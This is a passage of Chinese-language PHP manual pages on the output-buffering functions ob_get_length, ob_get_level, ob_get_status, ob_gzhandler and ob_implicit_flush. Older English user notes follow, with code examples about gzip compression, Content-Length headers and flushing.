ob_start();
// call function which outputs immediately
print_menu();
// append this to $html and empty buffer
$html .= ob_get_clean();
?>
zubin@byron 31-Aug-2005 01:21
I found this function is useful for storing output instead of displaying it. For example, I wanted to use an old function which echoed the ouput but I wanted it in a variable, not outputted immediately. Here's how:

<?php
// start generating html
$html = '<html><head>'; // etc
// start output buffering
ob_start();
// call function which outputs immediately
print_menu();
// append this to $html
$html .= ob_get_flush();
// empty output buffer
ob_clean();
?>


返回输出缓冲区内容的长度

  • ? ob_get_flush
  • ob_get_level ?
  • PHP Manual
  • 输出控制 函数
  • 返回输出缓冲区内容的长度

ob_get_length

(PHP 4 >= 4.0.2, PHP 5, PHP 7, PHP 8)

ob_get_length — 返回输出缓冲区内容的长度

说明

ob_get_length(): int|false

将返回输出缓冲区内容的长度，单位为字节。

参数

此函数没有参数。

返回值

返回输出缓冲区内容的长度，单位为字节；如果缓冲区无效，则返回 false。

示例

Example #1 ob_get_length() 的简单示例

<?php

ob_start();

echo "Hello ";

$len1 = ob_get_length();

echo "World";

$len2 = ob_get_length();

ob_end_clean();

echo $len1 . ", " . $len2;
?>

以上示例会输出：

6, 11

参见

  • ob_start() - 打开输出控制缓冲
  • ob_get_contents() - 返回输出缓冲区的内容

User Contributed Notes

Nitrogen 14-Feb-2009 09:34
I use this function to produce a small speed test in my pages since I run my website from my home computers.

<?php
ob_start();
$StartTime=microtime(1);
?>
.. webpage data goes here ..

<?php
// footer?
printf("%s seconds to produce (%skb/sec)",
  microtime(1)-$StartTime,
  Round((ob_get_length()/(microtime(1)-$StartTime))/1024));

ob_end_flush();
?>

Note: don't forget the "speed" depends on how quick the content is actually generated and not on the speed the data is sent to the client..
However it would be good to see such function to get the real speed. :)

Nitrogen.
stangelanda at arrowquick dot com 03-Aug-2007 08:36
If you don't buffer your output, it doesn't seem like it would be possible for a web server to output a Content-Length header.  For static files it can check the filesize, but for dynamic files that send output a little by little there is no way to know how many bytes it is going to output.  And the headers have to be sent before a single byte is output.

Also if you're wondering why the Content-Length is important, the browser doesn't close the connection as long as the script is running.  So if you register time consuming shutdown functions, the browser will still 'spin' waiting for more content until they complete.  (I'm not sure this happens under all conditions, but I am certain the sending the Content-Length always prevents this.)

You might take note that this manual page does not currently output any Content-Length header.

Alternatively using mb_strlen($output, 'latin1') seems to work to determine bytes in a string.  strlen may or may not depending on if it has been set up as a multibyte or not.
Sinured 11-Jul-2007 03:25
> Dude, your web server will compute Content-length for you!

I've noticed that Apache 1.3 doesn't do that.
However, if you're running Apache 2.2 (and maybe 2.0, haven't experienced that yet) you don't need to worry about Content-Length.
rush at logic dot cz 02-Dec-2005 02:02
There is a work-around for the situation you need to get length of the gz-ed buffer.

ob_start();
ob_start('ob_gzhandler');

  ... output the page content...

ob_end_flush();  // The ob_gzhandler one

header('Content-Length: '.ob_get_length());

ob_end_flush();  // The main one

more info at http://www.edginet.org/techie/website/http.html
webmaster at crescentart dot com 29-Jun-2001 01:58
Here is an easy way to get the header Content-Lenght.
<?
ob_start();
?>

Put HTML tags.

<?
$size=ob_get_length();
header("Content-Length: $size");
ob_end_flush();
?>


返回输出缓冲机制的嵌套级别

  • ? ob_get_length
  • ob_get_status ?
  • PHP Manual
  • 输出控制 函数
  • 返回输出缓冲机制的嵌套级别

ob_get_level

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

ob_get_level — 返回输出缓冲机制的嵌套级别

说明

ob_get_level(): int

返回输出缓冲机制的嵌套级别。

参数

此函数没有参数。

返回值

返回嵌套的输出缓冲处理程序的级别；或者是，如果输出缓冲区不起作用，返回零。

参见

  • ob_start() - 打开输出控制缓冲
  • ob_get_contents() - 返回输出缓冲区的内容

User Contributed Notes

Anonymous 21-May-2015 06:34
This can be used to handle exceptions properly when using output buffering for rendering a view which may or may not be using output buffering

<?php

function getView($view)
{
    $level = ob_get_level();

    ob_start();

    try
    {
        include $view;
    }

    catch (Exception $e)
    {
        while (ob_get_level() > $level)
        {
            ob_end_clean();
        }

        throw $e;
    }

    return ob_get_clean();
}
Anonymous 11-Jun-2012 11:04
For users confused about getting "1" as a return value from ob_get_level at the beginning of a script: this likely means the PHP ini directive "output_buffering" is not set to off / 0. PHP automatically starts output buffering for all your scripts if this directive is not off (which acts as if you called ob_start on the first line of your script).

If your scripts may end up on any server and you don't want end-users to have to configure their INI, you can use the following at the start of your script to stop output buffering if it's already started:
<?php
if (ob_get_level()) ob_end_clean();
?>

Alternatively, you can use the opposite if you always want to have an output buffer at the start of your script:
<?php
if (!ob_get_level()) ob_start();
?>
mark dot richards at massmicro dot com 17-Mar-2012 02:24
It was noted that ob_get_level() reports 1 prior to starting buffering, and in php 5.3.6-13 I can confirm this:

    <?php
      echo ob_get_level(); // --> 1
    ?>

It seems an internal counter for the output buffering needs to be initialized.  To start things off properly, this appears to do:

    <?php
      ob_end_clean();
      echo ob_get_level(); // --> 0
    ?>
18-May-2005 08:45
Sometimes, ob_get_level() may be off by 1 because at the start of the script, it will return 1 even if ob_start() has never been called (and clearing the output buffer via ob_end_clean() and the like can be done without error).  As a result, the first ob_start() will have an ob_get_level() of 2, the second will be 3, and so on.

I'm not sure if this is a PHP 5 thing or [if it's related to when a] server is set to gzip all html documents.

Also, up until at least PHP 5.0.4 (current version), ob_get_level() will always return 0 inside a destructor.  This happens because the garbage collection for output buffers has already done before the destructor is called.  If you want to do something with the output buffer from within an object before the script exits, using a callback function with ob_start() is the way to go.
bonzini at gnu dot org 07-Jul-2004 09:03
Even under older PHP, you can decide if output buffering is active (i.e. ob_get_level() > 0) using

   <?php $ob_active = ob_get_length () !== FALSE ?>

Paolo


得到所有输出缓冲区的状态

  • ? ob_get_level
  • ob_gzhandler ?
  • PHP Manual
  • 输出控制 函数
  • 得到所有输出缓冲区的状态

ob_get_status

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

ob_get_status — 得到所有输出缓冲区的状态

说明

ob_get_status(bool $full_status = false): array

ob_get_status() 返回最顶层输出缓冲区的状态信息；或者如果 full_status 设为 true，返回所有有效的输出缓冲级别。

参数

full_status

设为 true 返回所有有效的输出缓冲区级别的状态信息。如果设为 false 或者没有设置，仅返回最顶层输出缓冲区的状态信息。

返回值

如果调用时没有 full_status 参数，或者 full_status = false 将返回一个包含下面元素的简单数组：

Array
(
    [level] => 2
    [type] => 0
    [status] => 0
    [name] => URL-Rewriter
    [del] => 1
)
ob_get_status() 的简单结果
Key | Value
level | 输出嵌套级别
type | 0（内部处理程序）或者 1（用户提供的处理程序）
status | PHP_OUTPUT_HANDLER_START (0), PHP_OUTPUT_HANDLER_CONT (1) or PHP_OUTPUT_HANDLER_END (2) 三个之一
name | 起作用的输出处理程序的名字，或者是默认的输出处理程序的名字（如果没有设置的话）
del | 由ob_start()设置的删除标签（Erase-flag）

如果调用时full_status = true，将返回一个数组，该数组的每个元素包含有效的输出缓冲区级别的状态信息。缓冲区的级别数用来当作数组的第一维数；每个元素自身是另一个数组，它持有该有效输出级别的状态信息。

Array
(
    [0] => Array
        (
            [chunk_size] => 0
            [size] => 40960
            [block_size] => 10240
            [type] => 1
            [status] => 0
            [name] => default output handler
            [del] => 1
        )

    [1] => Array
        (
            [chunk_size] => 0
            [size] => 40960
            [block_size] => 10240
            [type] => 0
            [buffer_size] => 0
            [status] => 0
            [name] => URL-Rewriter
            [del] => 1
        )

)

完整的输出包含以下附加元素：

完整的ob_get_status() 结果
Key | Value
chunk_size | 由 ob_start()设置的Chunk size值
size | ...
blocksize | ...

参见

  • ob_get_level() - 返回输出缓冲机制的嵌套级别
  • ob_list_handlers() - 列出所有使用的输出处理程序

User Contributed Notes

rmagalhaess at hotmail dot com 12-Sep-2017 07:32
The fields inside the array returned by ob_get_status() are:

Array
(
    [name] => default output handler
    [type] => 0
    [flags] => 112
    [level] => 1
    [chunk_size] => 0
    [buffer_size] => 16384
    [buffer_used] => 0
)

These values are filled just after the function ob_start()


ob_start 回调函数压缩输出缓冲区

  • ? ob_get_status
  • ob_implicit_flush ?
  • PHP Manual
  • 输出控制 函数
  • ob_start 回调函数压缩输出缓冲区

ob_gzhandler

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

ob_gzhandler — ob_start 回调函数压缩输出缓冲区

说明

ob_gzhandler(string $data, int $flags): string|false

ob_gzhandler() 目的用作 ob_start() 的回调函数，以便将 gz 编码的数据发送到支持网页压缩的 Web 浏览器。在 ob_gzhandler() 实际发送压缩数据之前，该函数会确定浏览器接受哪种类型的内容编码（"gzip"、"deflate" 或都不接受），然后相应的返回输出。支持所有发送正确头消息以表明接受压缩网页的浏览器。如果浏览器不支持压缩页面，则函数返回 false。

参数

data

flags

返回值

示例

Example #1 ob_gzhandler() 示例

<?php

ob_start("ob_gzhandler");

?>
<html>
<body>
<p>This should be a compressed page.</p>
</body>
</html>

注释

Note:

ob_gzhandler() 需要 zlib 扩展。

Note:

不能同时使用 ob_gzhandler() 和 zlib.output_compression。也要注意使用 zlib.output_compression 要优于 ob_gzhandler()。

参见

  • ob_start() - 打开输出控制缓冲
  • ob_end_flush() - 冲刷出（送出）输出缓冲区内容并关闭缓冲区

User Contributed Notes

Jer 16-Apr-2010 04:17
I've just spent 5 hours fighting a bug in my application and outcome is:

<?php
// do not use
ob_start("ob_gzhandler");
// along with
header('HTTP/1.1 304 Not Modified');

// or in the end use
ob_end_clean();
?>

W3C Standart requires response body to be empty if 304 header set. With compression on it will at least contain a gzip stream header even if your output is completely empty!

This affects firefox (current ver.3.6.3) in a very subtle way: one of the requests after the one that gets 304 with not empty body gets it response prepended with contents of that body. In my case it was a css file and styles was not rendered at all, which made problem show up.
przemekryciuk at gmail dot com 23-Jun-2009 02:34
The simplest way for gzip compression is:
<?php
if(!ob_start("ob_gzhandler")) ob_start();
?>
ob_start("ob_gzhandler") returns FALSE if browser doesn't support gzip, so then is called normal ob_start();
walter 11-Dec-2008 07:48
I have a very well tested module in my framework (ie: running in production environments for a couple of years) called 'fastpage', which takes care of both memcaching and gzipping for frequently requested content.  It memcaches one version of each unique page both gzipped and non-gzipped, and returns the appropriate version based upon the browser's Accept-encoding header.

Use is:
$page_spec = array($dependent,$variables,$go,$here);
if(!fastpage_display('content_id',$page_spec)) {
 ... make page here ...
 fastpage_displayed('content_id',$page_spec);
}

Unfortunately, on IE8 beta (in IE8 mode, or in IE7 emulation mode), the fastpage-enabled content was not being un-gzipped.  IE would request the content, a 200 status and correct byte count would appear in the server logfile, and IE would show no errors.  However, CSS would not be applied and Javascript would not execute.

The only fix I can find right now is to disable gzip entirely for this browser.  User agent string is: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727

The same output works fine in firefox (windows, linux, mac), and in safari.

Versions are: zlib 1.2.3-r1 / php 5.2.6-r7 / lighttpd 1.4.20

So much for the 'this has been fixed in IE7' comment, above...
ronald at hidden dot com 26-Aug-2008 01:15
Hi,

if you are using apache, I think you are much better of using apache's compression, as this will also compress static text files (css, js, html, etc) and it will keep your php-code clean.

See http://httpd.apache.org/docs/2.0/mod/mod_deflate.html for an excellent how to.

And for other webservers, I'm pretty sure they have equivalents.

Cheers, Ronald
maratd at gmail dot com 29-Aug-2007 08:51
Someone previously mentioned that MSIE doesn't cache gzipped content. This is false. He misread the source of information. In fact, IE will cache gzipped content no matter what. Here is the quote from the mailing list:

The reason the COMPRESSED responses are, in fact,
always getting cached no matter what "Vary:" field name
is present is just as I suspected... it is because MSIE
decides it MUST cache responses that arrive with
"Content-Encoding: gzip" because it MUST have a
disk ( cache ) file to work with in order to do the
decompression.

Source: http://lists.over.net/pipermail/mod_gzip/2002-December/006826.html
tehjosh at gamingg dot net 01-Aug-2007 04:18
faisun at sina dot com:
If you read up on output buffering, you'll see that if an output buffer callback returns false, this instructs PHP to output the original string untouched.  That's why ob_gzhandler() returns false if the encoding is not supported.   When ob_start("ob_gzhandler") is used and encoding is not supported, ob_gzhandler() will return false and PHP outputs the original, uncompressed string.

jsnell at e-normous dot com:
Output buffering callback functions accept up to two parameters, so this would probably work better for your situation:

<?php
function ob_gz_handler_no_errors($buffer, $mode)
{
    @ob_gzhandler($buffer, $mode);
}

ob_start('ob_gzhandler_no_errors');
?>

However, if you're trying to suppress errors caused by headers already being sent, it would be better to start the output buffering earlier, before any output can be sent.
jsnell at e-normous dot com 31-May-2007 11:04
If you want to suppress errors (such as for cases when headers are already sent) and you don't want to write or patch your error_handler, you need to create an intermediate callback:

function ob_gz_handler_no_errors($buffer)
{
    @ob_gzhandler($buffer);
}

ob_start('ob_gzhandler_no_errors');
nicolas dot grekas+php at gmail dot com 28-Jan-2007 10:45
Here are some precisions :

- the "mode" arg accepts a bit field composed of PHP_OUTPUT_HANDLER_START, PHP_OUTPUT_HANDLER_CONT and PHP_OUTPUT_HANDLER_END. See http://www.php.net/manual/fr/ref.zlib.php#56216 for an example. The value that jazfresh recommends below (5) is the good one, because 5 == PHP_OUTPUT_HANDLER_START | PHP_OUTPUT_HANDLER_END.

- when called INSIDE an output buffering handler, ob_gzhandler DOES NOT return false when the browser doesn't support compressed pages. It rather returns the original string.
spam_this at zleelz dot com 26-Aug-2006 11:49
When writing scripts for distribution, I would usually "null" out the following deprecated superglobals so that users who uses the script will not be able to use them.
<?php
$HTTP_GET_VARS = null;
$HTTP_POST_VARS = null;
$HTTP_COOKIE_VARS = null;
$HTTP_POST_FILES = null;
$HTTP_SERVER_VARS = null;
?>

However, when using ob_start('ob_gzhandler'), one of those superglobals somehow disable this function.

Found out that it was $HTTP_SERVER_VARS that's causing the problems.

<?php
ob_start('ob_gzhandler');

$HTTP_GET_VARS = null;
$HTTP_POST_VARS = null;
$HTTP_COOKIE_VARS = null;
$HTTP_POST_FILES = null;
/**
 * Causing the trouble
 */
//$HTTP_SERVER_VARS = null;
?>

I don't know why it does that, but I just want to point that out.
richard at mf2fm dot com 11-Jul-2006 02:50
According to the manual, if ob_gzhander detects that the browser is unable to support deflate or gzip it returns FALSE.  Does this mean that if you use ob_start("ob_gzhandler"), any browsers that do not support gzip/deflate will receive a blank page?

I've been having problems with IE6 displaying gzipped pages and adding a test:

<?php

if (substr_count($_SERVER['HTTP_ACCEPT_ENCODING'], 'gzip')) ob_start("ob_gzhandler");

else ob_start();

?>

solved the problem.  Surely if ob_gzhandler detects a lack of support for deflation it should return the input unchanged and not FALSE?
mariusads[at]helpedia[dot]com 04-Feb-2006 09:56
Please be aware that, as other users have already mentioned, the compression will fail if there are characters before the php start tag "< ?".

This is also the case when saving files in UTF-8 format with editors such as Ultraedit. Make sure you save the file using the defined option UTF-8 NO BOM or delete the BOM otherwise the two UTF BOM characters will be written at the start of the file.
lapoint2 at msu dot edu 06-Sep-2005 06:40
So why doesn't the web server just do this by default?
This works for me if I do:
ini_set('zlib.output_compression_level', 3);  ob_start("ob_gzhandler");
or even just:
ob_start("ob_gzhandler");

I did the level 3 compression, I think the default was 6 and I didn't want to put too much load on the server.  For a 895k file (my largest) the compression levels were:
1 = 189k
3 = 178k
4 = 163k
6 = 156k    (I believe 6 is the default if you leave out the ini_set)
9 = 155k
I use http://www.whatsmyip.org/mod_gzip_test/ to check the sizes.

FYI: This works with dynamic files in Movable Type 3.x (I'm testing it in 3.2) I've got the above command in the first line of my mtview.php file.

More info here: http://www.whatsmyip.org/forum/viewtopic.php?t=43

On several sites I've read the some browsers don't like compressed CSS.
Tony Piper 14-Jun-2005 07:11
I just spent 30 minutes wondering why my browser wasn't getting the gzipped version :-O

If you're using Google Web Access your pages will  be delivered to the browser uncompressed unless you tell GWA to ignore the specific site.

Obvious, really.
24-May-2005 03:27
No matter the circumstances, you MUST NOT check the user agent string to find out if gzip compression is enabled. HTTP defines the Accept-Encoding header for exactly this purpose and you MUST check it before enabling compression.
m at rtij dot nl 16-Apr-2005 05:29
All versions of MSIE have a bug where they don't cache gzipd contents. If your application depends on caching, this is something to keep in mind. In the end, I did:

<?php

// These are so benificial, they default to true.
if (!isset($use_page_cache))
    $use_page_cache = 1;
if (!isset($use_compression))
    $use_compression = 1;

// Add browsers here as we must detect them. Opera is an oddball, if we don't detect
// it specifically, it will turn up as MSIE

$browser="other";
if (isset($_SERVER['HTTP_USER_AGENT'])) {
    $agent = $_SERVER['HTTP_USER_AGENT'];
    if (eregi("opera",$agent)){
    $browser="opera";
    }elseif(eregi("msie",$agent)){
    $browser="msie";
    }
}

if ($use_compression && !( $use_page_cache && $browser == "msie")) {
    // Turn on compression, makes quite a difference in bandwith usage.
    // However, MSIE (all versions) have a bug with compression and caching. So for MSIE
    // it's either compression or caching. We choose caching.
    ob_start('ob_gzhandler');
}

session_cache_limiter("must-revalidate");

session_start();

// ... put stuff in $content ...

if ($use_page_cache) {
    // MD5 is slow, however with a fast server (PIII or better) we should be OK
    $hash = md5($content);
    $headers = getallheaders();
    if (isset($headers['If-None-Match']) && ereg($hash, $headers['If-None-Match']))
    {
    header('HTTP/1.1 304 Not Modified');
    exit;
    }
    header("ETag: \"$hash\"");
}

print $content;

?>
grange (at) club-internet (dot) fr 07-Mar-2005 07:17
It may seem obvious but if you use ob_start("ob_gzhandler"),  make sure no content is unintentionally echo'ed before : this could be blank lines before '<?php' or after '?>' tags in included files or even errors.

Otherwise, only a part of the content (the content sent after ob_start()) will be compressed, which will confuse the client.

Setting compression using zlib.output_compression either in php.ini or in Apache configuration file (with directive php_flag) is safer in this regard.
mazsolt at yahoo dot com 18-Mar-2004 07:20
if you want to send an output to the browser (which accepts gzip), and you haven't set the buffering callback ob_start("ob_gzhandler"), you may use the gzencode() function.

header("Content-Encoding: gzip");
echo gzencode("some output", 9, FORCE_GZIP);
brewthatistrue at plzYnoAspamHorOevilO dot com 21-Sep-2003 02:04
i had a LOT of trouble trying to get gzipping working correctly
i kept getting a blank page on the first load, although subsequent pages loaded fine.
i tried stuff with ob_flush and ob_end_clean and all kinds of stuff i didn't understand. i'm totally confused about different versions of php and different methods of gzipping.

in the end, i got it working (maybe i'll understand it later).
i ended up using phpBB's code (stripped of non-gz stuff, and ever-so-slightly modified)
http://phpbb.com/

index.php:
------------
<?php
require_once('top.php');

echo "<html>\n<head>\n<title>Gzip Test</title>\n<body>\n<h1>testing</h1>\n</body>\n</html>";

require_once('bottom.php');
?>

gz_header.php - taken form phpBB's page_header.php
--------------
<?php
    $phpver = phpversion();

    $useragent = (isset($_SERVER["HTTP_USER_AGENT"]) ) ? $_SERVER["HTTP_USER_AGENT"] : $HTTP_USER_AGENT;

    if ( $phpver >= '4.0.4pl1' && ( strstr($useragent,'compatible') || strstr($useragent,'Gecko') ) )
    {
        if ( extension_loaded('zlib') )
        {
            ob_start('ob_gzhandler');
        }
    }
    else if ( $phpver > '4.0' )
    {
        if ( strstr($HTTP_SERVER_VARS['HTTP_ACCEPT_ENCODING'], 'gzip') )
        {
            if ( extension_loaded('zlib') )
            {
                $do_gzip_compress = TRUE;
                ob_start();
                ob_implicit_flush(0);

                header('Content-Encoding: gzip');
            }
        }
    }
?>
gz_footer.php - taken form phpBB's page_tail.php
------------
<?php
// Compress buffered output if required and send to browser
if ( $do_gzip_compress )
{
    //
    // Borrowed from php.net!
    //
    $gzip_contents = ob_get_contents();
    ob_end_clean();

    $gzip_size = strlen($gzip_contents);
    $gzip_crc = crc32($gzip_contents);

    $gzip_contents = gzcompress($gzip_contents, 9);
    $gzip_contents = substr($gzip_contents, 0, strlen($gzip_contents) - 4);

    echo "\x1f\x8b\x08\x00\x00\x00\x00\x00";
    echo $gzip_contents;
    echo pack('V', $gzip_crc);
    echo pack('V', $gzip_size);
}

exit;
?>

i must admit to not seeing this working in opera 7.11. perhaps i will figure that one out.
if there is anything i should change email me and i can edit my post
jazfresh at SPAM-JAVELIN dot hotmail dot com 18-Sep-2003 07:54
In the set_error_handler notes, there is a technique described for capturing all errors (even parse errors) before they are displayed the user, using a special error handler and output handler. If this output handler detects a fatal error in the output buffer, it's captured and dealt with before it can be displayed to the user. If no error was detected, then output buffer is displayed verbatim (i.e. without being compressed).

If you are using this method, you can still take advantage of ob_gzhandler's compression. However, you MUST specify a mode argument (I'm using 4.2.2 on RedHat9). The mode value affects which headers are automatically added (Content-Encoding, etc). A value of '5' worked for me. '0' or discarding the argument produces a blank screen under Mozilla.

<?php

function my_output_handler(&$buffer) {
  // Detect errors in the output
  if(ereg("(error</b>:)(.+) in <b>(.+)</b> on line <b>(.+)</b>", $buffer, $regs)) {
    my_error_handler(E_ERROR, $regs[2], $regs[3], $regs[4]);
    // ...
    // ... Insert your error handling here ...
    // ...
    return 'An internal error occurred.';
  } else {
    // The page rendered without any errors, so compress
    // and output.
    return ob_gzhandler($buffer, 5);
  }
}
?>
daijoubu at videotron dot ca 06-Sep-2003 04:35
About the previous note from Davey:

ob_start(array('ob_gzhandler',9));

Does not work. The output size isn?t affected at all, stays the same.

ob_gzhandler compression level use zlib.output_compression_level, which is -1 per default, level 6.

To change the compression level on the fly, simply use ini_set:
<?php
ini_set('zlib.output_compression_level', 1);
ob_start('ob_gzhandler');
echo 'This is compressed at level 1';
?>
09-Apr-2003 10:47
When using ob_start("ob_gzhandler"), be aware that the output buffer has to be flushed in order to invoke the ob_gzhandler callback function.

This may not always happen. For example, if you use ob_get_contents() to copy the output buffer to a string for further manipulation and then silently discard the buffer with ob_end_clean(), the output buffer is never "flushed" and as a result, the ob_gzhandler callback function is never invoked. And your pages won't be compressed.

This will be the case, for example, if you use the PHP Fusebox architecture/framework.
davey at its-explosive dot net 03-Apr-2003 06:41
To pass the second argument to ob_gzhandler() which specifies what level of compression should be used (which I assume is 1-9 as with the gzip binary, with 9 using the most processor and time to do, 4 is the standard IIRC) you must call ob_start() like so:

ob_start(array('ob_gzhandler',9));

- Davey
nospam at 1111-internet dot com 08-Mar-2003 03:23
Differences between zlib.output_compression and ob_gzhandler:

zlib.output_compression runs in parallel with script execution - it begins compressing as soon as it receives any output from your script, and sends data to the client each time its buffer (4K by default) gets full. ob_gzhandler (actually 'ob_start("ob_gzhandler");') will not start compressing until the script flushes (or, usually, exits), and will in turn send the entire compressed document at once - which makes it more susceptible to causing a perception of latency.

Advantage: zlib.output_compression

On the other hand, ob_gzhandler gives you script-level control allowing you to use it selectively or to unset it after setting it in certain cases. Despite some documentation to the contrary, zlib.output_compression does not appear to be able to be set or unset on a script level; you must instead set it globally (in php.ini) or in your webserver configs or .htaccess files, possibly using FilesMatch-type mechanisms to control which scripts it will or won't apply to - which could get unwieldy for large projects - particularly those which employ PHP to produce images and other non-text output in addition to normal text output.

Advantage: ob_gzhandler

Net advantage: depends on your particular needs. I'm trying zlib.output_compression for now, but I miss the flexibility that ob_gzhandler would provide.

p.s. here's an Apache 1.3.* httpd.conf/.htaccess file snippet that demonstrates the syntax for conditionally setting zlib.output_compression:

<FilesMatch "\.(php|html?)$">
# turn it on with the buffer set to 2K using php_value
php_value zlib.output_compression 2048
# or just turn it on using php_flag
# php_flag zlib.output_compression On
</FilesMatch>
aki at robotnik dot net 04-Mar-2003 11:13
if you get errors like:
"output handler 'ob_gzhandler' cannot be used twice"
if you are using
"ob_start("ob_gzhandler");"

check for your php.ini file, it should look like this:

output_buffering = Off  ; delete the 4096k value
output_handler =
zlib.output_compression = Off
dsugar100 at dolphinsoft dot com 06-Nov-2002 03:33
I have noticed that if you have the php setting for zlib.output_compression set to 'On' AND you attempt to use hte ob_gzhandler handler to ob_start () the output you get in the browser WILL be garbled in PHP 4.2.3.  I'm guessing that the output buffering is compressing the output to be sent, and then zlib is doing it a second time, but the browser is only uncompressing it once.

But using either one will give you the same results (compressed output from the script)
psychones at ifrance dot com 08-Aug-2002 05:18
Problem revelate by xn@bnw.com

cause real problem when you have a global call
to ob_gzhandler , for example in an include configuration
file , and you want send a non gzip content , for any reason ...

To resolve it ,

put this after your global call to ob_gzhandler

include("conf_that_call_ob_gzhandler.php");
-->ob_end_clean();
-->header("Content-Encoding: none");

If you try to overload the header before the the ob_gzhandler call
or during the buffering output , it will not work .
( probably erase at the call of ob_gzhandler  and not allow during
buffering ).

Hope this help
isoma at altavista dot net 24-Jun-2002 07:44
RFC 2616 suggests that a more correct way to compress documents on the fly is to use gzip transfer encoding rather than gzip content encoding.    However, it's perhaps not advisable to use this since client support for it is extremely limited.

The difference is most evident when you come to save a file from your browser.  If it's gzip content encoded then the browser should (and may well) save it gzipped.  If it's gzip transfer encoded then the browser should uncompress it first.
xn at bnw dot com 12-Apr-2002 08:40
if you call ob_end_clean() after ob_start("ob_gzhandler"), the "Content-Encoding: gzip" header will still get sent (assuming the browser supports the encoding).  if you don't call ob_start() again with the ob_gzhandler callback function, the output will not be compressed, but the header will say it is.  this causes mozilla (as of build 2002032808) to display a blank page.
junior at jaj dot com 04-Mar-2002 10:12
To get this to work properly, you have to compile PHP with "--with-zlib". If you don't, you won't get any errors, it just won't actually compress anything. This is a phenomenal thing. For just a small bit of processor time, you can DRASTICALLY reduce the bandwidth requirement of your scripts. There are very few circumstances in which this should not be used.


打开/关闭绝对刷送

  • ? ob_gzhandler
  • ob_list_handlers ?
  • PHP Manual
  • 输出控制 函数
  • 打开/关闭绝对刷送

ob_implicit_flush

(PHP 4, PHP 5, PHP 7, PHP 8)

ob_implicit_flush — 打开/关闭绝对刷送

说明

ob_implicit_flush(bool $enable = true): void

ob_implicit_flush() 将打开或关闭绝对（隐式）刷送。绝对（隐式）刷送将导致在每次输出调用后有一次刷送操作，以便不再需要对 flush() 的显式调用。

参数

enable

设为 true 打开绝对刷送，反之是 false。

返回值

没有返回值。

更新日志

版本 | 说明
8.0.0 | enable 现在需要 bool 值；之前，需要 int。

参见

  • flush() - 刷新系统输出缓冲区
  • ob_start() - 打开输出控制缓冲
  • ob_end_flush() - 冲刷出（送出）输出缓冲区内容并关闭缓冲区

User Contributed Notes

damian at thebestisp dot dot dot com 28-Mar-2016 04:06
It seems like some people are using this to workaround output buffering instead of simply turning it off. To me, if you have an output buffer, it's there for a reason, otherwise you would either do stuff and use ob_flush() or ob_end_flush(), do stuff, and maybe ob_start() again.
Here's how to properly end all output buffers without having to suppress errors (due to there not being any buffers). If you do want a single level of output buffering, I've included a piece for that as well.
<?php
#Get rid of output buffer entirely
while (ob_get_level()) {ob_end_flush();}

#Make sure we have 1 level of output buffering if this isn't CLI.
$notcli=(int)(PHP_SAPI!=='cli');
while (($diff=ob_get_level()-$notcli)!==0) {
    if ($diff>0) {ob_end_flush();}
    else {ob_start();}
}
Pedro Gimeno 22-Feb-2015 06:11
Note that the name ob_implicit_flush is misleading. Despite its name, this function does NOT work with the user output buffer, i.e. the one that the rest of the ob_* functions work with. It will NOT do an automatic ob_flush(). It will do an automatic flush(). Different things.

For example, the following script:

<?php
  ob_implicit_flush();
  for($i = 0; $i < 10; $i++)
  {
    echo "$i\n";
    sleep(1);
  }
?>

will be equivalent to this one:

<?php
  for ($i = 0; $i < 10; $i++)
  {
    echo "$i\n";
    flush();
    sleep(1);
  }
?>

That script will not output anything until the end, if 'output_buffering' is set to 'on' in php.ini. Unfortunately, there is no way to do an implicit ob_flush() after each output, that I am aware of.

If you want the output to come out as it is generated, one solution is to *also* add ob_end_clean() or ob_end_flush() to the beginning of the script:

<?php
  ob_end_flush();
  ob_implicit_flush();
  for ($i = 0; $i < 10; $i++)
  {
    echo "$i\n";
    sleep(1);
  }
?>

This will output as it goes. This is only a problem if you only want one part of the output to come out in real time, and want the rest buffered. In that case, since there's no function to do an implicit ob_flush() every time, you need to call it explicitly. For example, this works:

<?php
  ob_start(); // not needed if output_buffering is on in php.ini
  ob_implicit_flush(); // implicitly calls flush() after every ob_flush()

  echo "This output is buffered.\n";
  echo "As is this.\n";

  for ($i = 0; $i < 10; $i++)
  {
    echo "$i\n";
    ob_flush();
    sleep(1);
  }
?>

Note also that some browsers may wait until they have a certain amount of output. See flush [ http://php.net/manual/en/function.flush.php ] for details. It was my case with Firefox (Iceweasel 17.0); unless I output 1024 bytes at the beginning, it does not begin to output.
rocca at start dot ca 09-Oct-2007 11:42
You can also get the unbuffered output with Linux/Apache without having to do the implicit flush after each line by calling:

ob_implicit_flush(true);
ob_end_flush();

...at the start of the script.
Paul Yanchenko 21-Jan-2006 04:15
There is another workaround for ob_implicit_flush() in console. Yes, it doesn't works as expected, but you can get similar result by specifying chunk_size=2 in ob_start():

<?php
  ob_start('ob_logstdout', 2);
?>

This will result that every new line (which ends with \n) will flush output buffer.

Hope this will help you.
mhumphrey at _spammenot_designvision dot com 18-Aug-2003 02:41
From experimenting, it looks like using sessions with session.use_trans_sid=1 will force your output to be buffered regardless of this setting.

My guess is that this is so PHP can hunt for URLs in your output to automatically add the Session ID to them.  It must wait until script output is complete before it starts that replacement, rather than doing it "on the fly".

When i comment out my session_start() line, i get continuous output to the browser.  Put it back in, and i only see the page when it's completely loaded.  Change session.use_trans_sid = 0 and i get continuous output again.
calimero at Creatixnet dot com 07-Jul-2003 12:00
######### BEWARE ##########

There is a bug (or at least an unexpected feature of ob_implicit_flush) that has been already discussed on the PHP bugtracker :

http://bugs.php.net/bug.php?id=23877
http://bugs.php.net/bug.php?id=16676

Code like this WILL NOT work :

<?
// This will not work as expected on Linux.
ob_implicit_flush (1);
for($i=0;$i<10;$i++) {
   echo "grrrrrrrrrr\n";
   sleep(1);
}
?>

This feature happens on Linux versions of PHP, in all versions of php4 prior to 4.3.3 (don't know yet for the next ones) but also in php5 beta1. ob_implicit_flush has NO EFFECT on command-line (console, CLI) scripts, no flushing at all will be made, all output will be sent at the end of the script.

There is a workaround using ob_end_flush() and ob_flush, here it is :

<?
// This works !
ob_end_flush();
for($i=0;$i<10;$i++) {
  echo "yeah :-))))\n";
  @ob_flush();
  sleep(1);
}
?>

hope this will help. It would have helped me...


列出所有使用的输出处理程序

  • ? ob_implicit_flush
  • ob_start ?
